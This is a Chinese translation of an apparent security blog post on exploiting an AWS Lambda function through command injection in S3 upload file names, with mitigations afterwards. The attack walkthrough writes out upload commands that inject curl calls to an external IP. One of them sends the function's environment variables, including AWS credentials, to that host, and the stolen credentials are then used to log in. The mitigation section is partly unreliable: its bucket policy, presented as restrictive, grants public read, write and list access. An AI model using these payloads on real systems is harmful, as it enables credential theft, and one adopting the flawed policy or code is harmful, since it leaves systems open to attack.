利用AWS Lambda函數(shù)漏洞實(shí)現(xiàn)初始訪問(wèn)

對(duì)于云環(huán)境的安全來(lái)說(shuō),雖然本質(zhì)上是由云供應(yīng)商來(lái)管理的,但仍然允許用戶(hù)進(jìn)行相應(yīng)的配置,所以,安全問(wèn)題和風(fēng)險(xiǎn)實(shí)際上與參與雙方共擔(dān)的。

在本文中,我們將從黑盒測(cè)試和白盒測(cè)試的角度為大家解釋一個(gè)真實(shí)的攻擊場(chǎng)景:攻擊者是如何使用易受攻擊的AWS Lambda函數(shù)獲得對(duì)云環(huán)境的初始訪問(wèn)權(quán)限的。最后,我們將為大家介紹針對(duì)這種攻擊手法的最佳防御實(shí)踐。

眼下,無(wú)服務(wù)器技術(shù)正在成為業(yè)務(wù)應(yīng)用程序的主流,有了它,用戶(hù)無(wú)需管理底層基礎(chǔ)設(shè)施即可實(shí)現(xiàn)可擴(kuò)展性、性能和成本效益。并且,這些工作負(fù)載可以輕松擴(kuò)展到每秒數(shù)千個(gè)并發(fā)請(qǐng)求。實(shí)際上,云環(huán)境中使用最多的無(wú)服務(wù)器服務(wù)之一,就是AWS Lambda服務(wù)。

在考察應(yīng)用程序的時(shí)候,一個(gè)基本要素就是安全性。比如,代碼中的錯(cuò)誤或缺乏用戶(hù)輸入驗(yàn)證不僅可能會(huì)導(dǎo)致功能受損,而且還可能導(dǎo)致云帳戶(hù)被入侵。

關(guān)于AWS Lambda函數(shù)

AWS Lambda是一種事件驅(qū)動(dòng)的無(wú)服務(wù)器計(jì)算服務(wù),允許運(yùn)行用不同編程語(yǔ)言編寫(xiě)的代碼,從而實(shí)現(xiàn)基于云環(huán)境的自動(dòng)化操作。

這種方法的主要優(yōu)勢(shì)之一是,Lambda是在由AWS直接管理的高可用計(jì)算基礎(chǔ)結(jié)構(gòu)中運(yùn)行我們的代碼的。也就是說(shuō),與底層基礎(chǔ)設(shè)施相關(guān)的所有管理活動(dòng),包括服務(wù)器和操作系統(tǒng)維護(hù)、自動(dòng)伸縮、修補(bǔ)和日志記錄等,都是由云供應(yīng)商替我們完成的。

用戶(hù)只需在這些服務(wù)上運(yùn)行實(shí)現(xiàn)自己所需功能的代碼就可以了。

安全共擔(dān)之痛

對(duì)于云環(huán)境的安全來(lái)說(shuō),雖然本質(zhì)上是由云供應(yīng)商來(lái)管理的,但仍然允許用戶(hù)進(jìn)行相應(yīng)的配置,所以,安全問(wèn)題和風(fēng)險(xiǎn)實(shí)際上與參與雙方共擔(dān)的。

2345截圖20211028093243.png

由于用戶(hù)無(wú)法控制特定Lambda函數(shù)背后的基礎(chǔ)設(shè)施,因此,底層基礎(chǔ)設(shè)施的安全風(fēng)險(xiǎn)實(shí)際上是由云供應(yīng)商直接管理的。

通過(guò)AWS IAM,用戶(hù)可以限制lambda函數(shù)及其組件的訪問(wèn)權(quán)限和允許的操作。如果對(duì)IAM角色或Lambda函數(shù)使用的對(duì)象的權(quán)限配置出錯(cuò),可能會(huì)造成嚴(yán)重的后果,導(dǎo)致云環(huán)境被攻擊者拿下。更重要的是,在Lambda函數(shù)中實(shí)現(xiàn)的代碼是由用戶(hù)控制的,正如我們?cè)诤箝T(mén)所看到的,如果代碼中存在安全漏洞,該函數(shù)則可能被攻擊者用來(lái)訪問(wèn)云賬戶(hù)并進(jìn)行橫向移動(dòng)。

攻擊場(chǎng)景

我們將使用兩種不同的測(cè)試方法來(lái)考察兩個(gè)攻擊場(chǎng)景:黑盒測(cè)試和白盒測(cè)試,這是滲透測(cè)試中用來(lái)評(píng)估特定基礎(chǔ)設(shè)施、應(yīng)用程序或功能的安全態(tài)勢(shì)的兩種主要測(cè)試方法。

從不同的角度來(lái)看Lambda函數(shù)將有助于更深入、更全面地了解我們函數(shù)的安全態(tài)勢(shì),并幫助我們更好地理解可能的攻擊和相關(guān)風(fēng)險(xiǎn)。

黑盒測(cè)試與白盒測(cè)試

進(jìn)行黑盒測(cè)試時(shí),攻擊方并不具備環(huán)境本身和軟件系統(tǒng)內(nèi)部原理的任何信息。在這種測(cè)試方法中,攻擊者需要對(duì)特定功能的邏輯背后可能隱藏的內(nèi)容做出假設(shè),并不斷測(cè)試這些假設(shè),以找到切入點(diǎn)。對(duì)于我們的場(chǎng)景,攻擊者既沒(méi)有云環(huán)境的任何訪問(wèn)權(quán)限,也沒(méi)有任何關(guān)于云環(huán)境或帳戶(hù)中可用的功能和角色的內(nèi)部信息。

在白盒測(cè)試中,由于攻擊者已經(jīng)獲得了內(nèi)部信息,因此,他們可以在攻擊過(guò)程中利用這些信息。在進(jìn)行這種測(cè)試時(shí),我們假設(shè)攻擊者擁有查找可能的漏洞和安全問(wèn)題所需的所有信息。

因此,白盒測(cè)試被認(rèn)為是最全面的測(cè)試方式。在我們的場(chǎng)景中,攻擊者在云環(huán)境中具有只讀的初始訪問(wèn)權(quán)限,他們可以使用這些信息來(lái)評(píng)估已經(jīng)部署的東西,以更好地鎖定攻擊目標(biāo)。

#1黑盒測(cè)試場(chǎng)景

2345截圖20211028093243.png

在這個(gè)攻擊場(chǎng)景中,攻擊者發(fā)現(xiàn)一個(gè)S3桶因?yàn)榕渲糜姓`而向公眾開(kāi)放,其中含有公司的各種文件。

攻擊者能夠?qū)⑽募蟼鞯酱鎯?chǔ)桶中,并在上傳后檢查文件配置。盡管攻擊者對(duì)Lambda中實(shí)現(xiàn)的代碼一無(wú)所知,但仍可以通過(guò)Lambda函數(shù)來(lái)獲得每個(gè)上傳文件的標(biāo)簽。

我們可以使用AWS CLI來(lái)列出prod-file-bucket-eu這個(gè)桶內(nèi)的所有對(duì)象。

aws s3 ls prod-file-bucket-eu

2345截圖20211028093243.png

我們通過(guò)上傳文件獲得信息的一種方式就是檢查標(biāo)簽,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標(biāo)簽如下所示:

aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip

2345截圖20211028093243.png

這些標(biāo)簽肯定是自定義的,并在將文件上傳到存儲(chǔ)桶時(shí)動(dòng)態(tài)添加。據(jù)推測(cè),應(yīng)該存在一種函數(shù),用于添加與文件大小和路徑相關(guān)的標(biāo)簽。

使用curl或awscli,我們可以嘗試上傳一個(gè)zip文件,看看標(biāo)簽是否會(huì)自動(dòng)添加到我們的文件中。

aws s3 cp config.zip s3://prod-file-bucket-eu/

curl-X PUT-T config.zip

-H"Host:prod-file-bucket-eu.s3.amazonaws.com"

-H"Date:Thu,02 Dec 2021 15:47:04+0100"

-H"Content-Type:$"

http://prod-file-bucket-eu.s3.amazonaws.com/config.zip

一旦文件上傳,我們可以檢查文件標(biāo)簽,結(jié)果表明標(biāo)簽已經(jīng)自動(dòng)添加。

aws s3api get-object-tagging--bucket prod-file-bucket-eu--key config161.zip

2345截圖20211028093243.png

所以,我們可以非常確定的一點(diǎn)是:這些值背后存在一個(gè)AWS Lambda函數(shù)。當(dāng)一個(gè)新對(duì)象在存儲(chǔ)桶中創(chuàng)建時(shí),該函數(shù)似乎就會(huì)被觸發(fā)。當(dāng)然,Path和Size這兩個(gè)標(biāo)簽,似乎是為每個(gè)文件動(dòng)態(tài)計(jì)算的,可能是通過(guò)執(zhí)行OS命令檢索到的信息。

我們可以假設(shè)文件名用于在操作系統(tǒng)中查找文件,并計(jì)算文件大小。換句話(huà)說(shuō),文件名可能是用戶(hù)輸入,在OS命令中使用它來(lái)檢索要放入標(biāo)簽中的信息。如果缺少用戶(hù)輸入驗(yàn)證,攻擊者就可以通過(guò)向計(jì)算機(jī)提交精心構(gòu)造的輸入來(lái)執(zhí)行任意命令。

在這種情況下,我們可以嘗試在文件名中注入其他命令來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。使用分號(hào)連接命令是將任意命令附加到用戶(hù)輸入中的一種常見(jiàn)方法,這樣,如果用戶(hù)輸入沒(méi)有得到很好的過(guò)濾,代碼就可能會(huì)執(zhí)行這些命令。

讓我們嘗試追加命令curl來(lái)打開(kāi)與另一個(gè)EC2的連接,為此,我們可以使用POST方法發(fā)送測(cè)試消息“testrceCurl”。

aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"testRCECurl"3.80.92.111:443;'

從下面的屏幕中,我們可以看到命令已正確執(zhí)行,并且我們收到了連接和POST消息。

2345截圖20211028093243.png

通過(guò)這種方式,我們證明了用戶(hù)輸入根本沒(méi)有經(jīng)過(guò)驗(yàn)證,因此,我們可以在AWS Lambda OS上成功地執(zhí)行任意命令。我們可以利用這個(gè)安全漏洞直接訪問(wèn)云環(huán)境。

提取AWS憑據(jù)的方法之一,就是通過(guò)env變量。在這方面,我們已經(jīng)證明,我們可以回連攻擊者的機(jī)器,并將env變量的內(nèi)容發(fā)送到POST消息中,以從中提取信息。

aws s3 cp config.zip's3://prod-file-bucket-eu/screen;curl-X POST-d"`env`"3.80.92.111:443;.zip'

2345截圖20211028093243.png

使用curl命令,我們成功地獲取了云憑據(jù),并且可以使用這些憑據(jù)登錄到云帳戶(hù)。這樣,我們就可以導(dǎo)入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。

aws sts get-caller-identity

{

"UserId":"AROA2PVZZYWS7MCERGTMS:corpFuncEasy",

"Account":"AccountID",

"Arn":"arn:aws:sts::AccountID:assumed-role/corpFuncEasy/corpFuncEasy"

}

一旦進(jìn)入,攻擊者就可以啟動(dòng)枚舉過(guò)程來(lái)評(píng)估獲得的特權(quán),并查看是否存在進(jìn)一步提升云帳戶(hù)特權(quán)的路徑。

#1白盒測(cè)試場(chǎng)景

2345截圖20211028093243.png

下面,讓我們對(duì)前面提出的相同攻擊場(chǎng)景——攻擊者發(fā)現(xiàn)了配置錯(cuò)誤的S3存儲(chǔ)桶——進(jìn)行白盒測(cè)試。在這種情況下,攻擊者可以通過(guò)網(wǎng)絡(luò)釣魚(yú)竊取憑據(jù)來(lái)訪問(wèn)云環(huán)境,而受攻擊的用戶(hù)帳戶(hù)權(quán)限為:只讀權(quán)限。

由于具有只讀訪問(wèn)權(quán)限,攻擊者可以合并從lambda函數(shù)中實(shí)現(xiàn)的代碼中獲得的信息,以更好地發(fā)動(dòng)針對(duì)性攻擊。

讓我們從檢查獲得的憑據(jù)是否對(duì)登錄云帳戶(hù)有效開(kāi)始入手。

aws sts get-caller-identity

{

"UserId":"AIDA2PVZZYWS3MXZKDH66",

"Account":"AccountID",

"Arn":"arn:aws:iam::AccountID:user/operator"

}

2345截圖20211028093243.png

一旦登錄,我們就可以開(kāi)始評(píng)估相關(guān)用戶(hù)或組的特權(quán)。在本例中,我們可以看到這里附加了以下策略。

aws iam list-attached-user-policies--user-name operator

2345截圖20211028093243.png

我們只有只讀權(quán)限,所以,接下來(lái)可以收集已經(jīng)部署到賬戶(hù)中的信息,特別是關(guān)注配置錯(cuò)誤的S3桶。

就像我們?cè)诤诤袦y(cè)試場(chǎng)景中看到的那樣,我們可以合理地假設(shè),發(fā)現(xiàn)的開(kāi)放型存儲(chǔ)桶有一個(gè)lambda函數(shù)。因此,如果找到有關(guān)lambda函數(shù)的額外信息,將有助于更好地發(fā)動(dòng)攻擊。

通過(guò)命令list-functions,我們可以看到賬戶(hù)中可用的lambda函數(shù)。就這里來(lái)說(shuō),我們找到了corpFuncEasy函數(shù)及其相關(guān)信息,特別是該函數(shù)所使用的角色。

aws lambda list-functions

2345截圖20211028093243.png

通過(guò)get-function,我們可以深入研究之前找到的lambda函數(shù)。在這里,我們可以找到一些基本的信息,如下載函數(shù)代碼的鏈接。

ws lambda get-function--function-name corpFuncEasy

{

"Configuration":{

"FunctionName":"corpFuncEasy",

"FunctionArn":"arn:aws:lambda:us-east-1:AccountID:function:corpFuncEasy",

...

},

"Code":{

"RepositoryType":"S3",

"Location":"https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/AccountID/corpFuncEasy-9c1924b0-501a-..."

},

"Tags":{

"lambda-console:blueprint":"s3-get-object-python"

}

}

通過(guò)檢查代碼,我們可以更好地評(píng)估函數(shù)的安全性,并查看是否應(yīng)用了安全最佳實(shí)踐。

2345截圖20211028093243.png

在這段代碼中,我們可以看到上傳的文件被放入/tmp/folder中,文件路徑直接用于subprocess命令并執(zhí)行。

我們看到,這里并沒(méi)有對(duì)文件名應(yīng)用任何輸入驗(yàn)證,也就談不上安全過(guò)濾了。現(xiàn)在,我們更清楚前面提到的攻擊為什么能成功了。

在這里,使用的文件名為“screen.zip;curl-X POST-d“testRCECurl”3.80.92.111:443”,相應(yīng)的subprocess命令如下所示:

"stat-c%s screen.zip;curl-X POST-d"testRCECurl"3.80.92.111:443"

正如我們所看到的,使用分號(hào)字符,我們可以在stat命令后面追加其他要執(zhí)行的命令。正如我們前面提到的,執(zhí)行curl命令后,字符串將發(fā)送到攻擊系統(tǒng)的443端口。

如何防御這種攻擊

我們已經(jīng)從黑盒測(cè)試和白盒測(cè)試的角度考察了相應(yīng)的攻擊場(chǎng)景,但是我們?nèi)绾芜M(jìn)行防御呢?在考察的場(chǎng)景中,我們涵蓋了不同的AWS組件,如S3桶和AWS lambda函數(shù),但是某些安全因素被忽略了。

為了成功地緩解這種情況,我們可以在不同的級(jí)別和不同的特性上采取行動(dòng)。特別是,我們可以:

1、禁用S3桶的公共訪問(wèn)權(quán)限,這樣它就只能從內(nèi)部訪問(wèn),并且只能被通過(guò)了云賬戶(hù)認(rèn)證的用戶(hù)訪問(wèn)。

2、檢查lambda函數(shù)中使用的代碼,以確保里面沒(méi)有任何安全漏洞,所有的用戶(hù)輸入都按照安全編寫(xiě)代碼的安全準(zhǔn)則進(jìn)行了正確處理。

3、在應(yīng)用于云特性的所有AWS IAM角色中應(yīng)用最小特權(quán)原則,以避免不必要的操作或在帳戶(hù)內(nèi)出現(xiàn)特權(quán)提升路徑。

下面,讓我們來(lái)看看上面提到的所有要點(diǎn),詳細(xì)了解應(yīng)該如何部署這些緩解措施。

禁用S3桶的公共訪問(wèn)權(quán)限

S3桶是AWS中用作存儲(chǔ)的關(guān)鍵組件之一;S3桶經(jīng)常被那些入侵云賬戶(hù)的攻擊者所利用。

盡可能地保持S3桶的安全,應(yīng)用所有可用的安全設(shè)置,避免對(duì)我們的數(shù)據(jù)或文件進(jìn)行不必要的訪問(wèn),這一點(diǎn)至關(guān)重要。

就本例來(lái)說(shuō),存儲(chǔ)桶是公開(kāi)的,所有未經(jīng)授權(quán)的用戶(hù)都能夠?qū)λM(jìn)行讀取和寫(xiě)入操作。為了避免這種情況,我們需要確保桶是可用的,私下里應(yīng)用以下安全設(shè)置來(lái)限制訪問(wèn)。

2345截圖20211028093243.png

此外,通過(guò)對(duì)存儲(chǔ)桶施加ACL,可以定義允許對(duì)它執(zhí)行哪些操作,以及可以訪問(wèn)桶中的哪些對(duì)象;對(duì)于其他的操作和對(duì)象,則一律拒絕。

{

"Version":"2012-10-17",

"Statement":[

{

"Sid":"PublicReadGetObject",

"Effect":"Allow",

"Principal":"*",

"Action":[

"s3:GetObject",

"s3:PutObject"

],

"Resource":"arn:aws:s3:::3bucket********/www/html/word/*"

},

{

"Sid":"PublicReadListObject",

"Effect":"Allow",

"Principal":"*",

"Action":"s3:List*",

"Resource":"arn:aws:s3:::s3bucket********/*"

}

]

}

審查lambda函數(shù)內(nèi)部使用的代碼

與任何其他Web應(yīng)用程序一樣,保證代碼是按照安全最佳實(shí)踐來(lái)實(shí)現(xiàn)的,是避免安全問(wèn)題的根本所在。當(dāng)然,Lambda函數(shù)中的代碼也不例外,我們需要確保代碼是安全的、無(wú)懈可擊的。

就本案例來(lái)說(shuō),請(qǐng)看下面的代碼片段:

file_count_KB=subprocess.check_output(

"stat-c%s"+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()

其中,變量file_download_path保存有完整的文件路徑,包括文件名。該路徑直接連接到命令行以執(zhí)行命令。但是,文件名是由用戶(hù)決定和控制的,因此,在將路徑附加到命令中之前,我們需要根據(jù)允許的字符進(jìn)行適當(dāng)?shù)挠脩?hù)輸入驗(yàn)證和過(guò)濾。

為了進(jìn)行正確、有效的驗(yàn)證,我們需要清楚地知道哪些字符是允許的,哪些字符將包含在字符串中,并應(yīng)用輸入驗(yàn)證的最佳實(shí)踐。

借助于正則表達(dá)式,我們可以只允許特定文件路徑中出現(xiàn)的字符,并在攻擊者試圖提交不良字符時(shí)阻止其執(zhí)行。在下面的例子中,我們可以看到一個(gè)用正則表達(dá)式來(lái)驗(yàn)證linux文件路徑的例子。

pattern="^/$|(/[a-zA-Z_0-9-]+)+$"

if re.match(pattern,file_download_path):

file_count_KB=subprocess.check_output(

"stat-c%s"+file_download_path,

shell=True,

stderr=subprocess.STDOUT

).decode().rstrip()

需要說(shuō)明的是,這個(gè)正則表達(dá)式是針對(duì)我們要驗(yàn)證的字段或輸入的。OWASP提供了很好的最佳實(shí)踐指南,當(dāng)您需要處理任何類(lèi)型的用戶(hù)輸入時(shí),請(qǐng)遵循該指南。

在AWS IAM角色中應(yīng)用最小特權(quán)原則

借助于AWS身份和訪問(wèn)管理(IAM),我們可以安全地管理對(duì)AWS服務(wù)和資源的訪問(wèn)。正如我們?cè)诘谝还?jié)中所說(shuō),用戶(hù)負(fù)責(zé)管理身份和訪問(wèn)管理層,并使用權(quán)限來(lái)控制對(duì)AWS資源的訪問(wèn)。

由于云環(huán)境中可用權(quán)限的粒度較細(xì),所以,我們建議遵循最小特權(quán)原則,精確地賦予用戶(hù)執(zhí)行其操作所需的權(quán)限。如果為用戶(hù)賦予了過(guò)大的權(quán)限,攻擊者可能利用這一點(diǎn)實(shí)現(xiàn)權(quán)限提升。

在黑盒測(cè)試場(chǎng)景中,攻擊者能夠使用與lambda函數(shù)關(guān)聯(lián)的AWS角色登錄帳戶(hù)。

攻擊者可能會(huì)繼續(xù)攻擊并提升自己在AWS內(nèi)部的權(quán)限,因?yàn)榭赡艽嬖谔貦?quán)配置錯(cuò)誤。通過(guò)對(duì)分配給lambda函數(shù)的角色授予所需的最低權(quán)限,我們可以攻擊者提權(quán)路徑最小化,以確保即使遭到入侵,也不會(huì)危及整個(gè)云環(huán)境。

當(dāng)然,要想清楚地了解每個(gè)組、用戶(hù)或資源附加了哪些政策和角色,也并不是那么容易。不過(guò),我們可以借助于持續(xù)監(jiān)視云中異?;顒?dòng)的安全工具,來(lái)生成安全事件。在AWS中,通過(guò)使用正確的工具,我們可以從CloudTrail事件和其他來(lái)源收集事件,以輕松地評(píng)估和加固云環(huán)境的安全性。

小結(jié)

雖然AWS Lambda函數(shù)在可擴(kuò)展性和性能方面具有很大的優(yōu)勢(shì),但是,如果不以最佳實(shí)踐方式對(duì)安全進(jìn)行全方位的管理,這些無(wú)服務(wù)器函數(shù)可能會(huì)被攻擊者濫用,成為入侵AWS賬戶(hù)的利器。

在Lambda代碼中施加適當(dāng)?shù)妮斎腧?yàn)證,在函數(shù)觸發(fā)器中應(yīng)用安全最佳實(shí)踐,對(duì)于防御攻擊者的入侵活動(dòng)是至關(guān)重要的。正如在云環(huán)境中經(jīng)常發(fā)生的那樣,確保在IAM權(quán)限方面應(yīng)用最小權(quán)限的原則,可以有效防御提權(quán)攻擊。

本文翻譯自:https://sysdig.com/blog/exploit-mitigate-aws-lambdas-mitre/

THEEND

最新評(píng)論(評(píng)論僅代表用戶(hù)觀點(diǎn))

更多
暫無(wú)評(píng)論